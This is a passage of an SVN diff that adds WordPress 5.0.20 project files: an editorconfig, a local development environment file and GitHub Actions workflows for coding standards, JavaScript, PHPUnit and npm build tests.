Index: /tags/5.0.20/.editorconfig
===================================================================
--- /tags/5.0.20/.editorconfig	(revision 56912)
+++ /tags/5.0.20/.editorconfig	(revision 56912)
@@ -0,0 +1,24 @@
+# This file is for unifying the coding style for different editors and IDEs
+# editorconfig.org
+
+# WordPress Coding Standards
+# https://make.wordpress.org/core/handbook/coding-standards/
+
+root = true
+
+[*]
+charset = utf-8
+end_of_line = lf
+insert_final_newline = true
+trim_trailing_whitespace = true
+indent_style = tab
+
+[*.yml]
+indent_style = space
+indent_size = 2
+
+[*.md]
+trim_trailing_whitespace = false
+
+[{*.txt,wp-config-sample.php}]
+end_of_line = crlf
Index: /tags/5.0.20/.env
===================================================================
--- /tags/5.0.20/.env	(revision 56912)
+++ /tags/5.0.20/.env	(revision 56912)
@@ -0,0 +1,80 @@
+##
+# Default configuration options for the local dev environment.
+#
+# All of these options can be overridden by setting them as environment variables before starting
+# the environment. You will need to restart your environment when changing any of these.
+#
+# Below, the following substitutions can be made:
+# - '{version}': any major.minor PHP version from 5.2 onwards.
+# - '{phpunit_version}': any major PHPUnit version starting with 4.
+##
+
+# The site will be available at http://localhost:LOCAL_PORT
+LOCAL_PORT=8889
+
+# Where to run WordPress from. Valid options are 'src' and 'build'.
+LOCAL_DIR=src
+
+# The PHP version to use. Valid options are 'latest', and '{version}-fpm'.
+LOCAL_PHP=7.3-fpm
+
+##
+# The PHPUnit version to use when running tests.
+#
+# Support for new PHPUnit versions is not backported to past versions, so some old WordPress branches require an older
+# version to run tests.
+#
+# Valid versions are:
+# - 'latest' for the highest version of PHPUnit supported on the highest version of PHP supported.
+# - '{version}-fpm' for the highest version of PHPUnit supported on the specified version of PHP.
+# - '{phpunit_version}-php-{version}-fpm' for a specific version of PHPUnit on the specified version of PHP. This format
+# is only available for PHP versions 5.6 and higher.
+#
+# For the full list of available options, see https://hub.docker.com/r/wordpressdevelop/phpunit/tags.
+#
+# For full documentation on PHPUnit compatibility and WordPress versions, see
+# https://make.wordpress.org/core/handbook/references/phpunit-compatibility-and-wordpress-versions/.
+#
+# This defaults to the value assigned to the value of LOCAL_PHP.
+##
+LOCAL_PHPUNIT=6-php-${LOCAL_PHP}
+
+# Whether or not to enable XDebug.
+LOCAL_PHP_XDEBUG=false
+
+# Whether or not to enable Memcached.
+LOCAL_PHP_MEMCACHED=false
+
+##
+# The database software to use.
+#
+# Supported values are `mysql` and `mariadb`.
+##
+LOCAL_DB_TYPE=mysql
+
+##
+# The database version to use.
+#
+# Defaults to 5.7 with the assumption that LOCAL_DB_TYPE is set to `mysql` above.
+#
+# When using `mysql`, see https://hub.docker.com/r/amd64/mysql for valid versions.
+# When using `mariadb`, see https://hub.docker.com/r/amd64/mariadb for valid versions.
+##
+LOCAL_DB_VERSION=5.7
+
+# The debug settings to add to `wp-config.php`.
+LOCAL_WP_DEBUG=true
+LOCAL_WP_DEBUG_LOG=true
+LOCAL_WP_DEBUG_DISPLAY=true
+LOCAL_SCRIPT_DEBUG=true
+LOCAL_WP_ENVIRONMENT_TYPE=local
+
+# The URL to use when running e2e tests.
+WP_BASE_URL=http://localhost:${LOCAL_PORT}
+
+##
+# The revision number of the WordPress Importer plugin to use when running unit tests.
+#
+# This should be an SVN revision number from the official plugin repository on wordpress.org.
+##
+WP_IMPORTER_REVISION=2387243
Index: /tags/5.0.20/.github/workflows/coding-standards.yml
===================================================================
--- /tags/5.0.20/.github/workflows/coding-standards.yml	(revision 56912)
+++ /tags/5.0.20/.github/workflows/coding-standards.yml	(revision 56912)
@@ -0,0 +1,132 @@
+name: Coding Standards
+
+on:
+  # JSHint was introduced in WordPress 3.8.
+  # PHPCS checking was introduced in WordPress 5.1.
+  push:
+    branches:
+      - trunk
+      - '3.[89]'
+      - '[4-9].[0-9]'
+    tags:
+      - '[0-9]+.[0-9]'
+      - '[0-9]+.[0-9].[0-9]+'
+      - '!3.7.[0-9]+'
+  pull_request:
+    branches:
+      - trunk
+      - '3.[89]'
+      - '[4-9].[0-9]'
+    paths:
+      # Any change to a PHP or JavaScript file should run checks.
+      - '**.js'
+      - '**.php'
+      # These files configure npm. Changes could affect the outcome.
+      - 'package*.json'
+      # These files configure Composer. Changes could affect the outcome.
+      - 'composer.*'
+      # This file configures JSHint. Changes could affect the outcome.
+      - '.jshintrc'
+      # This file configures PHPCS. Changes could affect the outcome.
+      - 'phpcs.xml.dist'
+      # Changes to workflow files should always verify all workflows are successful.
+      - '.github/workflows/*.yml'
+  workflow_dispatch:
+
+# Cancels all previous workflow runs for pull requests that have not completed.
+concurrency:
+  # The concurrency group contains the workflow name and the branch name for pull requests
+  # or the commit hash for any other events.
+  group: ${{ github.workflow }}-${{ github.event_name == 'pull_request' && github.head_ref || github.sha }}
+  cancel-in-progress: true
+
+jobs:
+  # Runs the JavaScript coding standards checks.
+  #
+  # JSHint violations are not currently reported inline with annotations.
+  #
+  # Performs the following steps:
+  # - Checks out the repository.
+  # - Logs debug information about the GitHub Action runner.
+  # - Installs NodeJS.
+  # - Logs updated debug information.
+  # _ Installs npm dependencies.
+  # - Run the WordPress JSHint checks.
+  jshint:
+    name: JavaScript coding standards
+    runs-on: ubuntu-latest
+    timeout-minutes: 20
+    if: ${{ github.repository == 'WordPress/wordpress-develop' || github.event_name == 'pull_request' }}
+    env:
+      PUPPETEER_SKIP_CHROMIUM_DOWNLOAD: ${{ true }}
+
+    steps:
+      - name: Checkout repository
+        uses: actions/checkout@ac593985615ec2ede58e132d2e21d2b1cbd6127c # v3.3.0
+
+      - name: Log debug information
+        run: |
+          npm --version
+          node --version
+          git --version
+          svn --version
+
+      - name: Set up Node.js
+        uses: actions/setup-node@64ed1c7eab4cce3362f8c340dee64e5eaeef8f7c # v3.6.0
+        with:
+          node-version-file: '.nvmrc'
+          cache: npm
+
+      - name: Log debug information
+        run: |
+          npm --version
+          node --version
+
+      - name: Install Dependencies
+        run: npm ci
+
+      - name: Run JSHint
+        run: npm run grunt jshint
+
+  slack-notifications:
+    name: Slack Notifications
+    uses: WordPress/wordpress-develop/.github/workflows/slack-notifications.yml@trunk
+    needs: [ jshint ]
+    if: ${{ github.repository == 'WordPress/wordpress-develop' && github.event_name != 'pull_request' && always() }}
+    with:
+      calling_status: ${{ needs.jshint.result == 'success' && 'success' || needs.jshint.result == 'cancelled' && 'cancelled' || 'failure' }}
+    secrets:
+      SLACK_GHA_SUCCESS_WEBHOOK: ${{ secrets.SLACK_GHA_SUCCESS_WEBHOOK }}
+      SLACK_GHA_CANCELLED_WEBHOOK: ${{ secrets.SLACK_GHA_CANCELLED_WEBHOOK }}
+      SLACK_GHA_FIXED_WEBHOOK: ${{ secrets.SLACK_GHA_FIXED_WEBHOOK }}
+      SLACK_GHA_FAILURE_WEBHOOK: ${{ secrets.SLACK_GHA_FAILURE_WEBHOOK }}
+
+  failed-workflow:
+    name: Failed workflow tasks
+    runs-on: ubuntu-latest
+    needs: [ jshint, slack-notifications ]
+    if: |
+      always() &&
+      github.repository == 'WordPress/wordpress-develop' &&
+      github.event_name != 'pull_request' &&
+      github.run_attempt < 2 &&
+      (
+        needs.jshint.result == 'cancelled' || needs.jshint.result == 'failure'
+      )
+
+    steps:
+      - name: Dispatch workflow run
+        uses: actions/github-script@98814c53be79b1d30f795b907e553d8679345975 # v6.4.0
+        with:
+          retries: 2
+          retry-exempt-status-codes: 418
+          script: |
+            github.rest.actions.createWorkflowDispatch({
+              owner: context.repo.owner,
+              repo: context.repo.repo,
+              workflow_id: 'failed-workflow.yml',
+              ref: 'trunk',
+              inputs: {
+                run_id: '${{ github.run_id }}'
+              }
+            });
Index: /tags/5.0.20/.github/workflows/javascript-tests.yml
===================================================================
--- /tags/5.0.20/.github/workflows/javascript-tests.yml	(revision 56912)
+++ /tags/5.0.20/.github/workflows/javascript-tests.yml	(revision 56912)
@@ -0,0 +1,126 @@
+name: JavaScript Tests
+
+on:
+  # JavaScript testing was introduced in WordPress 3.8.
+  push:
+    branches:
+      - trunk
+      - '3.[89]'
+      - '[4-9].[0-9]'
+    tags:
+      - '[0-9]+.[0-9]'
+      - '[0-9]+.[0-9].[0-9]+'
+      - '!3.7.[0-9]+'
+  pull_request:
+    branches:
+      - trunk
+      - '3.[89]'
+      - '[4-9].[0-9]'
+    paths:
+      # Any change to a JavaScript file should run tests.
+      - '**.js'
+      # These files configure npm. Changes could affect the outcome.
+      - 'package*.json'
+      # This file configures ESLint. Changes could affect the outcome.
+      - '.eslintignore'
+      # This file configures JSHint. Changes could affect the outcome.
+      - '.jshintrc'
+      # Any change to the QUnit directory should run tests.
+      - 'tests/qunit/**'
+      # Changes to workflow files should always verify all workflows are successful.
+      - '.github/workflows/*.yml'
+  workflow_dispatch:
+
+# Cancels all previous workflow runs for pull requests that have not completed.
+concurrency:
+  # The concurrency group contains the workflow name and the branch name for pull requests
+  # or the commit hash for any other events.
+  group: ${{ github.workflow }}-${{ github.event_name == 'pull_request' && github.head_ref || github.sha }}
+  cancel-in-progress: true
+
+jobs:
+  # Runs the QUnit tests for WordPress.
+  #
+  # Performs the following steps:
+  # - Checks out the repository.
+  # - Logs debug information about the GitHub Action runner.
+  # - Installs NodeJS.
+  # - Logs updated debug information.
+  # _ Installs npm dependencies.
+  # - Run the WordPress QUnit tests.
+  test-js:
+    name: QUnit Tests
+    runs-on: ubuntu-latest
+    timeout-minutes: 20
+    if: ${{ github.repository == 'WordPress/wordpress-develop' || github.event_name == 'pull_request' }}
+
+    steps:
+      - name: Checkout repository
+        uses: actions/checkout@ac593985615ec2ede58e132d2e21d2b1cbd6127c # v3.3.0
+
+      - name: Log debug information
+        run: |
+          npm --version
+          node --version
+          git --version
+          svn --version
+
+      - name: Set up Node.js
+        uses: actions/setup-node@64ed1c7eab4cce3362f8c340dee64e5eaeef8f7c # v3.6.0
+        with:
+          node-version-file: '.nvmrc'
+          cache: npm
+
+      - name: Log debug information
+        run: |
+          npm --version
+          node --version
+
+      - name: Install Dependencies
+        run: npm ci
+
+      - name: Run QUnit tests
+        run: npm run grunt qunit:compiled
+
+  slack-notifications:
+    name: Slack Notifications
+    uses: WordPress/wordpress-develop/.github/workflows/slack-notifications.yml@trunk
+    needs: [ test-js ]
+    if: ${{ github.repository == 'WordPress/wordpress-develop' && github.event_name != 'pull_request' && always() }}
+    with:
+      calling_status: ${{ needs.test-js.result == 'success' && 'success' || needs.test-js.result == 'cancelled' && 'cancelled' || 'failure' }}
+    secrets:
+      SLACK_GHA_SUCCESS_WEBHOOK: ${{ secrets.SLACK_GHA_SUCCESS_WEBHOOK }}
+      SLACK_GHA_CANCELLED_WEBHOOK: ${{ secrets.SLACK_GHA_CANCELLED_WEBHOOK }}
+      SLACK_GHA_FIXED_WEBHOOK: ${{ secrets.SLACK_GHA_FIXED_WEBHOOK }}
+      SLACK_GHA_FAILURE_WEBHOOK: ${{ secrets.SLACK_GHA_FAILURE_WEBHOOK }}
+
+  failed-workflow:
+    name: Failed workflow tasks
+    runs-on: ubuntu-latest
+    needs: [ test-js, slack-notifications ]
+    if: |
+      always() &&
+      github.repository == 'WordPress/wordpress-develop' &&
+      github.event_name != 'pull_request' &&
+      github.run_attempt < 2 &&
+      (
+        needs.test-js.result == 'cancelled' || needs.test-js.result == 'failure'
+      )
+
+    steps:
+      - name: Dispatch workflow run
+        uses: actions/github-script@98814c53be79b1d30f795b907e553d8679345975 # v6.4.0
+        with:
+          retries: 2
+          retry-exempt-status-codes: 418
+          script: |
+            github.rest.actions.createWorkflowDispatch({
+              owner: context.repo.owner,
+              repo: context.repo.repo,
+              workflow_id: 'failed-workflow.yml',
+              ref: 'trunk',
+              inputs: {
+                run_id: '${{ github.run_id }}'
+              }
+            });
Index: /tags/5.0.20/.github/workflows/phpunit-tests.yml
===================================================================
--- /tags/5.0.20/.github/workflows/phpunit-tests.yml	(revision 56912)
+++ /tags/5.0.20/.github/workflows/phpunit-tests.yml	(revision 56912)
@@ -0,0 +1,394 @@
+name: PHPUnit Tests
+
+on:
+  push:
+    branches:
+      - trunk
+      - '3.[7-9]'
+      - '[4-9].[0-9]'
+    tags:
+      - '[0-9]+.[0-9]'
+      - '[0-9]+.[0-9].[0-9]+'
+  pull_request:
+    branches:
+      - trunk
+      - '3.[7-9]'
+      - '[4-9].[0-9]'
+  workflow_dispatch:
+  # Once weekly On Sundays at 00:00 UTC.
+  schedule:
+    - cron: '0 0 * * 0'
+
+# Cancels all previous workflow runs for pull requests that have not completed.
+concurrency:
+    # The concurrency group contains the workflow name and the branch name for pull requests
+    # or the commit hash for any other events.
+  group: ${{ github.workflow }}-${{ github.event_name == 'pull_request' && github.head_ref || github.sha }}
+  cancel-in-progress: true
+
+env:
+  LOCAL_DIR: build
+  PUPPETEER_SKIP_CHROMIUM_DOWNLOAD: ${{ true }}
+  COMPOSER_INSTALL: ${{ false }}
+  # Controls which npm script to use for running PHPUnit tests. Options ar `php` and `php-composer`.
+  PHPUNIT_SCRIPT: php
+  LOCAL_PHP_MEMCACHED: ${{ false }}
+  SLOW_TESTS: 'external-http,media,restapi'
+
+jobs:
+  # Sets up WordPress for testing or development use.
+  #
+  # Performs the following steps:
+  # - Cancels all previous workflow runs for pull requests that have not completed.
+  # - Checks out the repository.
+  # - Logs debug information about the GitHub Action runner.
+  # - Installs NodeJS.
+  # _ Installs npm dependencies.
+  # - Builds WordPress to run from the `build` directory.
+  # - Creates a ZIP file of compiled WordPress.
+  # - Uploads ZIP file as an artifact.
+  setup-wordpress:
+    name: Setup WordPress
+    runs-on: ubuntu-latest
+    if: ${{ github.repository == 'WordPress/wordpress-develop' || github.event_name == 'pull_request' }}
+
+    steps:
+      - name: Checkout repository
+        uses: actions/checkout@ac593985615ec2ede58e132d2e21d2b1cbd6127c # v3.3.0
+
+      - name: Log debug information
+        run: |
+          echo "$GITHUB_REF"
+          echo "$GITHUB_EVENT_NAME"
+          npm --version
+          node --version
+          curl --version
+          git --version
+          svn --version
+          php --version
+          php -i
+          locale -a
+
+      - name: Set up Node.js
+        uses: actions/setup-node@64ed1c7eab4cce3362f8c340dee64e5eaeef8f7c # v3.6.0
+        with:
+          node-version-file: '.nvmrc'
+          cache: npm
+
+      - name: Install Dependencies
+        run: npm ci
+
+      - name: Build WordPress
+        run: npm run build
+
+      - name: Create ZIP artifact
+        uses: thedoctor0/zip-release@a24011d8d445e4da5935a7e73c1f98e22a439464 # v0.7.1
+        with:
+          filename: built-wp-${{ github.sha }}.zip
+          exclusions: '*.git* /*node_modules/* packagehash.txt'
+
+      - name: Upload build artifact
+        uses: actions/upload-artifact@0b7f8abb1508181956e8e162db84b466c27e18ce # v3.1.2
+        with:
+          name: built-wp-${{ github.sha }}
+          path: built-wp-${{ github.sha }}.zip
+          if-no-files-found: error
+
+  # Runs the PHPUnit tests for WordPress.
+  #
+  # Performs the following steps:
+  # - Sets environment variables.
+  # - Sets up the environment variables needed for testing with memcached (if desired).
+  # - Downloads the built WordPress artifact from the previous job.
+  # - Unzips the artifact.
+  # - Installs NodeJS.
+  # _ Installs npm dependencies.
+  # - Configures caching for Composer.
+  # _ Installs Composer dependencies (if desired).
+  # - Logs Docker debug information (about the Docker installation within the runner).
+  # - Starts the WordPress Docker container.
+  # - Starts the Memcached server after the Docker network has been created (if desired).
+  # - Logs general debug information about the runner.
+  # - Logs the running Docker containers.
+  # - Logs debug information from inside the WordPress Docker container.
+  # - Logs debug information about what's installed within the WordPress Docker containers.
+  # - Install WordPress within the Docker container.
+  # - Run the PHPUnit tests.
+  # - Checks out the WordPress Test reporter repository.
+  # - Reconnect the directory to the Git repository.
+  # - Submit the test results to the WordPress.org host test results.
+  test-php:
+    name: ${{ matrix.php }}${{ matrix.multisite && ' multisite' || '' }}${{ matrix.split_slow && ' slow tests' || '' }}${{ matrix.memcached && ' with memcached' || '' }} on ${{ matrix.os }}
+    needs: setup-wordpress
+    runs-on: ${{ matrix.os }}
+    timeout-minutes: 20
+    strategy:
+      fail-fast: false
+      matrix:
+        php: [ '5.3', '5.4', '5.5' ]
+        os: [ ubuntu-latest ]
+        memcached: [ false ]
+        split_slow: [ false, true ]
+        multisite: [ false, true ]
+        include:
+          # Include jobs for PHP 7.3 with memcached.
+          - php: '7.3'
+            phpunit: '6-php-7.3'
+            os: ubuntu-latest
+            memcached: true
+            split_slow: false
+            multisite: false
+          - php: '7.3'
+            phpunit: '6-php-7.3'
+            os: ubuntu-latest
+            memcached: true
+            split_slow: false
+            multisite: true
+          # Include jobs that require specific versions of PHPUnit.
+          - php: '7.3'
+            phpunit: '6-php-7.3'
+            os: ubuntu-latest
+            memcached: false
+            split_slow: false
+            multisite: false
+          - php: '7.3'
+            phpunit: '6-php-7.3'
+            os: ubuntu-latest
+            memcached: false
+            split_slow: false
+            multisite: true
+          - php: '7.2'
+            phpunit: '6-php-7.2'
+            os: ubuntu-latest
+            memcached: false
+            split_slow: false
+            multisite: false
+          - php: '7.2'
+            phpunit: '6-php-7.2'
+            os: ubuntu-latest
+            memcached: false
+            split_slow: false
+            multisite: true
+          - php: '7.1'
+            phpunit: '6-php-7.1'
+            os: ubuntu-latest
+            memcached: false
+            split_slow: false
+            multisite: false
+          - php: '7.1'
+            phpunit: '6-php-7.1'
+            os: ubuntu-latest
+            memcached: false
+            split_slow: false
+            multisite: true
+          - php: '7.0'
+            phpunit: '6-php-7.0'
+            os: ubuntu-latest
+            memcached: false
+            split_slow: false
+            multisite: false
+          - php: '7.0'
+            phpunit: '6-php-7.0'
+            os: ubuntu-latest
+            memcached: false
+            split_slow: false
+            multisite: true
+          - php: '5.6'
+            phpunit: '4-php-5.6'
+            os: ubuntu-latest
+            memcached: false
+            split_slow: false
+            multisite: false
+          - php: '5.6'
+            phpunit: '4-php-5.6'
+            os: ubuntu-latest
+            memcached: false
+            split_slow: false
+            multisite: true
+          # Additional "slow" jobs for PHP 5.6.
+          - php: '5.6'
+            phpunit: '4-php-5.6'
+            os: ubuntu-latest
+            memcached: false
+            split_slow: true
+            multisite: false
+          - php: '5.6'
+            phpunit: '4-php-5.6'
+            os: ubuntu-latest
+            memcached: false
+            split_slow: true
+            multisite: true
+
+    env:
+      LOCAL_PHP: ${{ matrix.php }}-fpm
+      LOCAL_PHPUNIT: ${{ matrix.phpunit && matrix.phpunit || matrix.php }}-fpm
+      LOCAL_PHP_MEMCACHED: ${{ matrix.memcached }}
+      PHPUNIT_CONFIG: ${{ matrix.multisite && 'tests/phpunit/multisite.xml' || 'phpunit.xml.dist' }}
+
+    steps:
+      - name: Configure environment variables
+        run: |
+          echo "PHP_FPM_UID=$(id -u)" >> $GITHUB_ENV
+          echo "PHP_FPM_GID=$(id -g)" >> $GITHUB_ENV
+
+      - name: Download the built WordPress artifact
+        uses: actions/download-artifact@9bc31d5ccc31df68ecc42ccf4149144866c47d8a # v3.0.2
+        with:
+          name: built-wp-${{ github.sha }}
+
+      - name: Unzip built artifact
+        run: unzip built-wp-${{ github.sha }}.zip
+
+      - name: Set up Node.js
+        uses: actions/setup-node@64ed1c7eab4cce3362f8c340dee64e5eaeef8f7c # v3.6.0
+        with:
+          node-version-file: '.nvmrc'
+          cache: npm
+
+      - name: Install Dependencies
+        run: npm ci
+
+      - name: Cache Composer dependencies
+        if: ${{ env.COMPOSER_INSTALL == true }}
+        uses: actions/cache@69d9d449aced6a2ede0bc19182fadc3a0a42d2b0 # v3.2.6
+        env:
+          cache-name: cache-composer-dependencies
+        with:
+          path: ${{ steps.composer-cache.outputs.dir }}
+          key: ${{ runner.os }}-php-${{ matrix.php }}-composer-${{ hashFiles('**/composer.lock') }}
+
+      - name: Install Composer dependencies
+        if: ${{ env.COMPOSER_INSTALL == true }}
+        run: |
+          docker-compose run --rm php composer --version
+          docker-compose run --rm php composer install
+
+      - name: Docker debug information
+        run: |
+          docker -v
+          docker-compose -v
+
+      - name: Start Docker environment
+        run: |
+          npm run env:start
+
+      # The memcached server needs to start after the Docker network has been set up with `npm run env:start`.
+      - name: Start the Memcached server.
+        if: ${{ matrix.memcached }}
+        run: |
+          cp tests/phpunit/includes/object-cache.php build/wp-content/object-cache.php
+          docker run --name memcached --net $(basename "$PWD")_wpdevnet -d memcached
+
+      - name: General debug information
+        run: |
+          npm --version
+          node --version
+          curl --version
+          git --version
+          svn --version
+
+      - name: Log running Docker containers
+        run: docker ps -a
+
+      - name: WordPress Docker container debug information
+        run: |
+          docker-compose run --rm mysql mysql --version
+          docker-compose run --rm php php --version
+          docker-compose run --rm php php -m
+          docker-compose run --rm php php -i
+          docker-compose run --rm php locale -a
+
+      - name: Install WordPress
+        run: npm run env:install
+
+      - name: Run slow PHPUnit tests
+        if: ${{ matrix.split_slow }}
+        run: npm run test:${{ env.PHPUNIT_SCRIPT }} -- --verbose -c ${{ env.PHPUNIT_CONFIG }} --group ${{ env.SLOW_TESTS }}
+
+      - name: Run PHPUnit tests for single site excluding slow tests
+        if: ${{ matrix.php < '7.0' && ! matrix.split_slow && ! matrix.multisite }}
+        run: npm run test:${{ env.PHPUNIT_SCRIPT }} -- --verbose -c ${{ env.PHPUNIT_CONFIG }} --exclude-group ${{ env.SLOW_TESTS }},ajax,ms-files,ms-required
+
+      - name: Run PHPUnit tests for Multisite excluding slow tests
+        if: ${{ matrix.php < '7.0' && ! matrix.split_slow && matrix.multisite }}
+        run: npm run test:${{ env.PHPUNIT_SCRIPT }} -- --verbose -c ${{ env.PHPUNIT_CONFIG }} --exclude-group ${{ env.SLOW_TESTS }},ajax,ms-files,ms-excluded,oembed-headers
+
+      - name: Run PHPUnit tests
+        if: ${{ matrix.php >= '7.0' }}
+        run: npm run test:${{ env.PHPUNIT_SCRIPT }} -- --verbose -c ${{ env.PHPUNIT_CONFIG }}
+
+      - name: Run AJAX tests
+        if: ${{ ! matrix.multisite && ! matrix.split_slow }}
+        run: npm run test:${{ env.PHPUNIT_SCRIPT }} -- --verbose -c ${{ env.PHPUNIT_CONFIG }} --group ajax
+
+      - name: Run ms-files tests as a multisite install
+        if: ${{ matrix.multisite && ! matrix.split_slow }}
+        run: npm run test:${{ env.PHPUNIT_SCRIPT }} -- --verbose -c tests/phpunit/multisite.xml --group ms-files
+
+      - name: Run external HTTP tests
+        if: ${{ ! matrix.multisite && ! matrix.split_slow }}
+        run: npm run test:${{ env.PHPUNIT_SCRIPT }} -- --verbose -c phpunit.xml.dist --group external-http
+
+      - name: Checkout the WordPress Test Reporter
+        if: ${{ github.repository == 'WordPress/wordpress-develop' && github.ref == 'refs/heads/trunk' && matrix.report }}
+        uses: actions/checkout@ac593985615ec2ede58e132d2e21d2b1cbd6127c # v3.3.0
+        with:
+          repository: 'WordPress/phpunit-test-runner'
+          path: 'test-runner'
+
+      - name: Set up the Git repository
+        if: ${{ github.repository == 'WordPress/wordpress-develop' && github.ref == 'refs/heads/trunk' && matrix.report }}
+        run: |
+          git init
+          git remote add origin https://github.com/WordPress/wordpress-develop.git
+          git fetch
+          git reset origin/trunk
+
+      - name: Submit test results to the WordPress.org host test results
+        if: ${{ github.repository == 'WordPress/wordpress-develop' && github.ref == 'refs/heads/trunk' && matrix.report }}
+        env:
+          WPT_REPORT_API_KEY: "${{ secrets.WPT_REPORT_API_KEY }}"
+        run: docker-compose run --rm -e WPT_REPORT_API_KEY -e WPT_PREPARE_DIR=/var/www -e WPT_TEST_DIR=/var/www php php test-runner/report.php
+
+  slack-notifications:
+    name: Slack Notifications
+    uses: WordPress/wordpress-develop/.github/workflows/slack-notifications.yml@trunk
+    needs: [ setup-wordpress, test-php ]
+    if: ${{ github.repository == 'WordPress/wordpress-develop' && github.event_name != 'pull_request' && always() }}
+    with:
+      calling_status: ${{ needs.test-php.result == 'success' && 'success' || needs.test-php.result == 'cancelled' && 'cancelled' || 'failure' }}
+    secrets:
+      SLACK_GHA_SUCCESS_WEBHOOK: ${{ secrets.SLACK_GHA_SUCCESS_WEBHOOK }}
+      SLACK_GHA_CANCELLED_WEBHOOK: ${{ secrets.SLACK_GHA_CANCELLED_WEBHOOK }}
+      SLACK_GHA_FIXED_WEBHOOK: ${{ secrets.SLACK_GHA_FIXED_WEBHOOK }}
+      SLACK_GHA_FAILURE_WEBHOOK: ${{ secrets.SLACK_GHA_FAILURE_WEBHOOK }}
+
+  failed-workflow:
+    name: Failed workflow tasks
+    runs-on: ubuntu-latest
+    needs: [ test-php, slack-notifications ]
+    if: |
+      always() &&
+      github.repository == 'WordPress/wordpress-develop' &&
+      github.event_name != 'pull_request' &&
+      github.run_attempt < 2 &&
+      (
+        needs.test-php.result == 'cancelled' || needs.test-php.result == 'failure'
+      )
+
+    steps:
+      - name: Dispatch workflow run
+        uses: actions/github-script@98814c53be79b1d30f795b907e553d8679345975 # v6.4.0
+        with:
+          retries: 2
+          retry-exempt-status-codes: 418
+          script: |
+            github.rest.actions.createWorkflowDispatch({
+              owner: context.repo.owner,
+              repo: context.repo.repo,
+              workflow_id: 'failed-workflow.yml',
+              ref: 'trunk',
+              inputs: {
+                run_id: '${{ github.run_id }}'
+              }
+            });
Index: /tags/5.0.20/.github/workflows/test-npm.yml
===================================================================
--- /tags/5.0.20/.github/workflows/test-npm.yml	(revision 56912)
+++ /tags/5.0.20/.github/workflows/test-npm.yml	(revision 56912)
@@ -0,0 +1,192 @@
+name: Test npm
+
+on:
+  push:
+    branches:
+      - trunk
+      - '3.[7-9]'
+      - '[4-9].[0-9]'
+    tags:
+      - '[0-9]+.[0-9]'
+      - '[0-9]+.[0-9].[0-9]+'
+  pull_request:
+    branches:
+      - trunk
+      - '3.[7-9]'
+      - '[4-9].[0-9]'
+    paths:
+      # These files configure npm. Changes could affect the outcome.
+      - 'package*.json'
+      # JavaScript files are built using npm.
+      - '**.js'
+      # CSS and SCSS files are built using npm.
+      - '**.scss'
+      - '**.css'
+      # Changes to workflow files should always verify all workflows are successful.
+      - '.github/workflows/**.yml'
+  workflow_dispatch:
+
+# Cancels all previous workflow runs for pull requests that have not completed.
+concurrency:
+  # The concurrency group contains the workflow name and the branch name for pull requests
+  # or the commit hash for any other events.
+  group: ${{ github.workflow }}-${{ github.event_name == 'pull_request' && github.head_ref || github.sha }}
+  cancel-in-progress: true
+
+env:
+  PUPPETEER_SKIP_CHROMIUM_DOWNLOAD: ${{ true }}
+
+jobs:
+  # Verifies that installing npm dependencies and building WordPress works as expected.
+  #
+  # Performs the following steps:
+  # - Checks out the repository.
+  # - Logs debug information about the GitHub Action runner.
+  # - Installs NodeJS.
+  # _ Installs npm dependencies.
+  # - Builds WordPress to run from the `build` directory.
+  # - Cleans up after building WordPress to the `build` directory.
+  # - Builds WordPress to run from the `src` directory.
+  # - Cleans up after building WordPress to the `src` directory.
+  test-npm:
+    name: Test npm on ${{ matrix.os }}
+    runs-on: ${{ matrix.os }}
+    timeout-minutes: 20
+    if: ${{ github.repository == 'WordPress/wordpress-develop' || github.event_name == 'pull_request' }}
+    strategy:
+      fail-fast: false
+      matrix:
+        os: [ ubuntu-latest, windows-latest ]
+
+    steps:
+      - name: Checkout repository
+        uses: actions/checkout@ac593985615ec2ede58e132d2e21d2b1cbd6127c # v3.3.0
+
+      - name: Log debug information
+        run: |
+          npm --version
+          node --version
+          curl --version
+          git --version
+          svn --version
+
+      - name: Set up Node.js
+        uses: actions/setup-node@64ed1c7eab4cce3362f8c340dee64e5eaeef8f7c # v3.6.0
+        with:
+          node-version-file: '.nvmrc'
+          cache: npm
+
+      - name: Install Dependencies
+        run: npm ci
+
+      - name: Build WordPress
+        run: npm run build
+
+      - name: Clean after building
+        run: npm run grunt clean
+
+      - name: Build WordPress in /src
+        run: npm run build:dev
+
+      - name: Clean after building in /src
+        run: npm run grunt clean -- --dev
+
+  # Verifies that installing npm dependencies and building WordPress works as expected on MacOS.
+  #
+  # This is separate from the job above in order to use stricter conditions about when to run.
+  # This avoids unintentionally consuming excessive minutes, as MacOS jobs consume minutes at a 10x rate.
+  #
+  # The `matrix` and `runner` contexts are not available for use within `if` expressions. So there is
+  # currently no way to determine the OS being used on a given job.
+  # See https://docs.github.com/en/actions/learn-github-actions/contexts#context-availability.
+  #
+  # Performs the following steps:
+  # - Checks out the repository.
+  # - Logs debug information about the GitHub Action runner.
+  # - Installs NodeJS.
+  # _ Installs npm dependencies.
+  # - Builds WordPress to run from the `build` directory.
+  # - Cleans up after building WordPress to the `build` directory.
+  # - Builds WordPress to run from the `src` directory.
+  # - Cleans up after building WordPress to the `src` directory.
+  test-npm-macos:
+    name: Test npm on MacOS
+    runs-on: macos-latest
+    timeout-minutes: 30
+    if: ${{ github.repository == 'WordPress/wordpress-develop' }}
+    steps:
+      - name: Checkout repository
+        uses: actions/checkout@ac593985615ec2ede58e132d2e21d2b1cbd6127c # v3.3.0
+
+      - name: Log debug information
+        run: |
+          npm --version
+          node --version
+          curl --version
+          git --version
+          svn --version
+
+      - name: Set up Node.js
+        uses: actions/setup-node@64ed1c7eab4cce3362f8c340dee64e5eaeef8f7c # v3.6.0
+        with:
+          node-version-file: '.nvmrc'
+          cache: npm
+
+      - name: Install Dependencies
+        run: npm ci
+
+      - name: Build WordPress
+        run: npm run build
+
+      - name: Clean after building
+        run: npm run grunt clean
+
+      - name: Build WordPress in /src
+        run: npm run build:dev
+
+      - name: Clean after building in /src
+        run: npm run grunt clean -- --dev
+
+  slack-notifications:
+    name: Slack Notifications
+    uses: WordPress/wordpress-develop/.github/workflows/slack-notifications.yml@trunk
+    needs: [ test-npm, test-npm-macos ]
+    if: ${{ github.repository == 'WordPress/wordpress-develop' && github.event_name != 'pull_request' && always() }}
+    with:
+      calling_status: ${{ needs.test-npm.result == 'success' && needs.test-npm-macos.result == 'success' && 'success' || ( needs.test-npm.result == 'cancelled' || needs.test-npm-macos.result == 'cancelled' ) && 'cancelled' || 'failure' }}
+    secrets:
